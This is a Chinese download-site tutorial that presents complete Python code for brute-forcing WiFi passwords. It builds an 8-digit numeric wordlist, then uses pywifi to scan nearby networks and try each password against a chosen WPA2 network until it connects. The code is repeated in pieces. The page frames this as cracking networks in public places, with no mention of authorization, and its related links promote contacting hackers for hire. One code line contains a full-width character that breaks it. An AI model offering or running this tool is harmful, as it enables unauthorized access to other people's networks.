bwmd软件下载中心,为您提供安全的软件下载!

首页 软件下载 端游下载 安卓专区 苹果专区 新闻资讯 游戏攻略 软件教程 小程序 专题库

当前位置:首页 > 软件教程 > 电脑教程

黑客能破解wifi吗 黑客技术破解wifi无线网络

我要评论
分享到:

黑客能破解wifi吗 黑客技术破解wifi无线网络

黑客能破解wifi吗 黑客技术破解wifi无线网络

WiFi破解应该是我们每个人都有的黑客梦,在某个公共区域,打开电脑,宛如黑客帝国里的操作一样,真帅,哈哈

首先假如WiFi密码是8位数,

1、首先我们需要生成一个密码本来记录所有的可能的热点密码,这个密码本中,需要列举所有的密码的可能性;

2、然后,用 Python 进行自动化的测试密码直到连接成功为止。

一、代码实现

1、生成密码本

密码本的生成其实比较的简单了啦。

思路其实就是对8个位置循环生成0,1……9的数字。

具体的代码如下:(8个循环嵌套)

import os

file_name = "making_pwd.txt"

f = open(file_name, "w+")

# 打开文件

for i in range(10):

    # 第一层循环

    for j in range(10):

        # 第二层循环

        for k in range(10):

            # 第三层循环

            for q in range(10):

                # 第四层循环

                for m in range(10):

                    # 第五层循环

                    for n in range(10):

                        # 第六层循环

                        for o in range(10):

                            # 第七层循环

                            for p in range(10):

                                # 第八层循环

                                insert_str = str(i) + str(j) + str(k) + str(q) + \

                                             str(m) + str(n) + str(o) + str(p)

                                # 数据的拼接以及数据类型的转换。

                                print(insert_str)

                                f.write(insert_str)

                                # 写入密码

                                f.write("\n")

                                # 一个密码换一次行

f.close()

# 关闭文件

print("一个密码本生成完毕了!")

核心代码就是这个循环嵌套,本质也是十分简单的啦:

下面再展示一遍核心代码

file_name = "making_pwd.txt"

f = open(file_name, "w+")

# 打开文件

for i in range(10):

    # 第一层循环

    for j in range(10):

        # 第二层循环

        for k in range(10):

            # 第三层循环

            for q in range(10):

                # 第四层循环

                for m in range(10):

                    # 第五层循环

                    for n in range(10):

                        # 第六层循环

                        for o in range(10):

                            # 第七层循环

                            for p in range(10):

                                # 第八层循环

                                insert_str = str(i) + str(j) + str(k) + str(q) + \

                                             str(m) + str(n) + str(o) + str(p)

                                # 数据的拼接以及数据类型的转换。

                                print(insert_str)

                                f.write(insert_str)

                                # 写入密码

                                f.write("\n")

                                # 一个密码换一次行

f.close()


这样生成的文件比较大,但是也没有办法了:

2、利用密码本进行自动化的测试

首先说一句,我们需要安装 pywifi 这个模块,没有这个模块的小伙伴可以先安装一下。

然后,我们呢,直接上完整的全部的代码,代码的解析在注释里面都有,注释有详细的代码解释:

import pywifi

import time

from pywifi import const

# 导入模块

# WiFi扫描模块

def wifi_scan():

    # 初始化wifi

    wifi = pywifi.PyWiFi()

    # 使用第一个无线网卡

    interface = wifi.interfaces()[0]

    # 开始扫描

    interface.scan()

    # 显示扫描的信息。

    for i in range(4):

        time.sleep(1)

        print('\r扫描可用 WiFi 中,请稍后……(' + str(3 - i), end=')')

    print('\r扫描完成!\n' + '-' * 38)

    print('\r{:4}{:6}{}'.format('编号', '信号强度', 'wifi名'))

    # 扫描结果,scan_results()返回一个集,存放的是每个wifi对象

    bss = interface.scan_results()

    # 存放wifi名的集合

    wifi_name_set = set()

    for w in bss:

        # 解决乱码问题

        wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape')。decode('utf-8'))

        wifi_name_set.add(wifi_name_and_signal)

    # 存入列表并按信号排序

    wifi_name_list = list(wifi_name_set)

    wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True)

    num = 0

    # 格式化输出

    while num < len(wifi_name_list):

        print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1]))

        num += 1

    print('-' * 38)

    # 返回wifi列表

    return wifi_name_list

# WIFI破解模块

def wifi_password_crack(wifi_name):

    # 字典路径

    wifi_dic_path = input("请输入本地用于WIFI暴力破解的密码字典(txt格式,每个密码占据1行)的路径:")

    with open(wifi_dic_path, 'r') as f:

        # 遍历密码

        for pwd in f:

            # 去除密码的末尾换行符

            pwd = pwd.strip('\n')

            # 创建wifi对象

            wifi = pywifi.PyWiFi()

            # 创建网卡对象,为第一个wifi网卡

            interface = wifi.interfaces()[0]

            # 断开所有wifi连接

            interface.disconnect()

            # 等待其断开

            while interface.status() == 4:

                # 当其处于连接状态时,利用循环等待其断开

                pass

            # 创建连接文件(对象)

            profile = pywifi.Profile()

            # wifi名称

            profile.ssid = wifi_name

            # 需要认证

            profile.auth = const.AUTH_ALG_OPEN

            # wifi默认加密算法

            profile.akm.append(const.AKM_TYPE_WPA2PSK)

            profile.cipher = const.CIPHER_TYPE_CCMP

            # wifi密码

            profile.key = pwd

            # 删除所有wifi连接文件

            interface.remove_all_network_profiles()

            # 设置新的wifi连接文件

            tmp_profile = interface.add_network_profile(profile)

            # 开始尝试连接

            interface.connect(tmp_profile)

            start_time = time.time()

            while time.time() - start_time < 1.5:

                # 接口状态为4代表连接成功(当尝试时间大于1.5秒之后则为错误密码,经测试测正确密码一般都在1.5秒内连接,若要提高准确性可以设置为2s或以上,相应暴力破解速度就会变慢)

                if interface.status() == 4:

                    print(f'\r连接成功!密码为:{pwd}')

                    exit(0)

                else:

                    print(f'\r正在利用密码 {pwd} 尝试破解。', end='')

# 主函数

def main():

    # 退出标致

    exit_flag = 0

    # 目标编号

    target_num = -1

    while not exit_flag:

        try:

            print('WiFi万能钥匙'.center(35, '-'))

            # 调用扫描模块,返回一个排序后的wifi列表

            wifi_list = wifi_scan()

            # 让用户选择要破解的wifi编号,并对用户输入的编号进行判断和异常处理

            choose_exit_flag = 0

            while not choose_exit_flag:

                try:

                    target_num = int(input('请选择你要尝试破解的wifi:'))

                    # 如果要选择的wifi编号在列表内,继续二次判断,否则重新输入

                    if target_num in range(len(wifi_list)):

                        # 二次确认

                        while not choose_exit_flag:

                            try:

                                choose = str(input(f'你选择要破解的WiFi名称是:{wifi_list[target_num][1]},确定吗?(Y/N)'))

                                # 对用户输入进行小写处理,并判断

                                if choose.lower() == 'y':

                                    choose_exit_flag = 1

                                elif choose.lower() == 'n':

                                    break

                                # 处理用户其它字母输入

                                else:

                                    print('只能输入 Y/N 哦o(* ̄︶ ̄*)o')

                            # 处理用户非字母输入

                            except ValueError:

                                print('只能输入 Y/N 哦o(* ̄︶ ̄*)o')

                        # 退出破解

                        if choose_exit_flag == 1:

                            break

                        else:

                            print('请重新输入哦(*^▽^*)')

                except ValueError:

                    print('只能输入数字哦o(* ̄︶ ̄*)o')

            # 密码破解,传入用户选择的wifi名称

            wifi_password_crack(wifi_list[target_num][1])

            print('-' * 38)

            exit_flag = 1

        except Exception as e:

            print(e)

            raise e

if __name__ == '__main__':

    # main 函数 进行一个测试

    main()

这里需要注意下,我们需要手动选择密码本来进行测试,手动选择密码本!!

下面我们分模块进行展示与解说:

导入模块:

import pywifi

import time

from pywifi import const

# 导入模块

这个是定义的使用的扫描WiFi的一个方法,这个方法实现的功能是扫描局域网范围内部的所有可以连接的WiFi,然后打印出来:

# WiFi扫描模块

def wifi_scan():

    # 初始化wifi

    wifi = pywifi.PyWiFi()

    # 使用第一个无线网卡

    interface = wifi.interfaces()[0]

    # 开始扫描

    interface.scan()

    # 显示扫描的信息。

    for i in range(4):

        time.sleep(1)

        print('\r扫描可用 WiFi 中,请稍后……(' + str(3 - i), end=')')

    print('\r扫描完成!\n' + '-' * 38)

    print('\r{:4}{:6}{}'.format('编号', '信号强度', 'wifi名'))

    # 扫描结果,scan_results()返回一个集,存放的是每个wifi对象

    bss = interface.scan_results()

    # 存放wifi名的集合

    wifi_name_set = set()

    for w in bss:

        # 解决乱码问题

        wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape')。decode('utf-8'))

        wifi_name_set.add(wifi_name_and_signal)

    # 存入列表并按信号排序

    wifi_name_list = list(wifi_name_set)

    wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True)

    num = 0

    # 格式化输出

    while num < len(wifi_name_list):

        print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1]))

        num += 1

    print('-' * 38)

    # 返回wifi列表

    return wifi_name_list


这个是使用密码本来进行密码的自动化测试的函数:

# WIFI破解模块

def wifi_password_crack(wifi_name):

    # 字典路径

    wifi_dic_path = input("请输入本地用于WIFI暴力破解的密码字典(txt格式,每个密码占据1行)的路径:")

    with open(wifi_dic_path, 'r') as f:

        # 遍历密码

        for pwd in f:

            # 去除密码的末尾换行符

            pwd = pwd.strip('\n')

            # 创建wifi对象

            wifi = pywifi.PyWiFi()

            # 创建网卡对象,为第一个wifi网卡

            interface = wifi.interfaces()[0]

            # 断开所有wifi连接

            interface.disconnect()

            # 等待其断开

            while interface.status() == 4:

                # 当其处于连接状态时,利用循环等待其断开

                pass

            # 创建连接文件(对象)

            profile = pywifi.Profile()

            # wifi名称

            profile.ssid = wifi_name

            # 需要认证

            profile.auth = const.AUTH_ALG_OPEN

            # wifi默认加密算法

            profile.akm.append(const.AKM_TYPE_WPA2PSK)

            profile.cipher = const.CIPHER_TYPE_CCMP

            # wifi密码

            profile.key = pwd

            # 删除所有wifi连接文件

            interface.remove_all_network_profiles()

            # 设置新的wifi连接文件

            tmp_profile = interface.add_network_profile(profile)

            # 开始尝试连接

            interface.connect(tmp_profile)

            start_time = time.time()

            while time.time() - start_time < 1.5:

                # 接口状态为4代表连接成功(当尝试时间大于1.5秒之后则为错误密码,经测试测正确密码一般都在1.5秒内连接,若要提高准确性可以设置为2s或以上,相应暴力破解速度就会变慢)

                if interface.status() == 4:

                    print(f'\r连接成功!密码为:{pwd}')

                    exit(0)

                else:

                    print(f'\r正在利用密码 {pwd} 尝试破解。', end='')

这个函数是进行实际的操作来实现我们所想要的功能。

# 主函数

def main():

    # 退出标致

    exit_flag = 0

    # 目标编号

    target_num = -1

    while not exit_flag:

        try:

            print('WiFi万能钥匙'.center(35, '-'))

            # 调用扫描模块,返回一个排序后的wifi列表

            wifi_list = wifi_scan()

            # 让用户选择要破解的wifi编号,并对用户输入的编号进行判断和异常处理

            choose_exit_flag = 0

            while not choose_exit_flag:

                try:

                    target_num = int(input('请选择你要尝试破解的wifi:'))

                    # 如果要选择的wifi编号在列表内,继续二次判断,否则重新输入

                    if target_num in range(len(wifi_list)):

                        # 二次确认

                        while not choose_exit_flag:

                            try:

                                choose = str(input(f'你选择要破解的WiFi名称是:{wifi_list[target_num][1]},确定吗?(Y/N)'))

                                # 对用户输入进行小写处理,并判断

                                if choose.lower() == 'y':

                                    choose_exit_flag = 1

                                elif choose.lower() == 'n':

                                    break

                                # 处理用户其它字母输入

                                else:

                                    print('只能输入 Y/N 哦o(* ̄︶ ̄*)o')

                            # 处理用户非字母输入

                            except ValueError:

                                print('只能输入 Y/N 哦o(* ̄︶ ̄*)o')

                        # 退出破解

                        if choose_exit_flag == 1:

                            break

                        else:

                            print('请重新输入哦(*^▽^*)')

                except ValueError:

                    print('只能输入数字哦o(* ̄︶ ̄*)o')

            # 密码破解,传入用户选择的wifi名称

            wifi_password_crack(wifi_list[target_num][1])

            print('-' * 38)

            exit_flag = 1

        except Exception as e:

            print(e)

            raise e

执行代码的一个接口:

if __name__ == '__main__':

    # main 函数 进行一个测试

    main()

四、后续总结

以上呢,就是我们的使用 Python 工具 Pycharm 来进行破解WiFi的密码的一个案例的介绍,这种方式比较傻瓜式而且暴力,遇到复杂的密码可能就不行了,耗时太多。

关于Python技术储备

学好 Python 不论是就业还是做副业赚钱都不错,但要学会 Python 还是要有一个学习规划。最后大家分享一份全套的 Python 学习资料,给那些想学习 Python 的小伙伴们一点帮助!

一、Python所有方向的学习路线

Python所有方向路线就是把Python常用的技术点做整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。

信息来自于互联网,目的在于传递更多信息,并不代表本网赞同其观点。

相关推荐:
找黑客帮忙的联系方式大全
在哪里可以找到专业的黑客高手
找黑客帮忙联系方式大全
黑客利用qq号能查到什么
黑客能解除永久封号吗
网上哪里有职业黑客的联系方式

查看更多资讯请关注bwmd下载站

bwmd下载站微信公众号
快速搜索
A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 0-9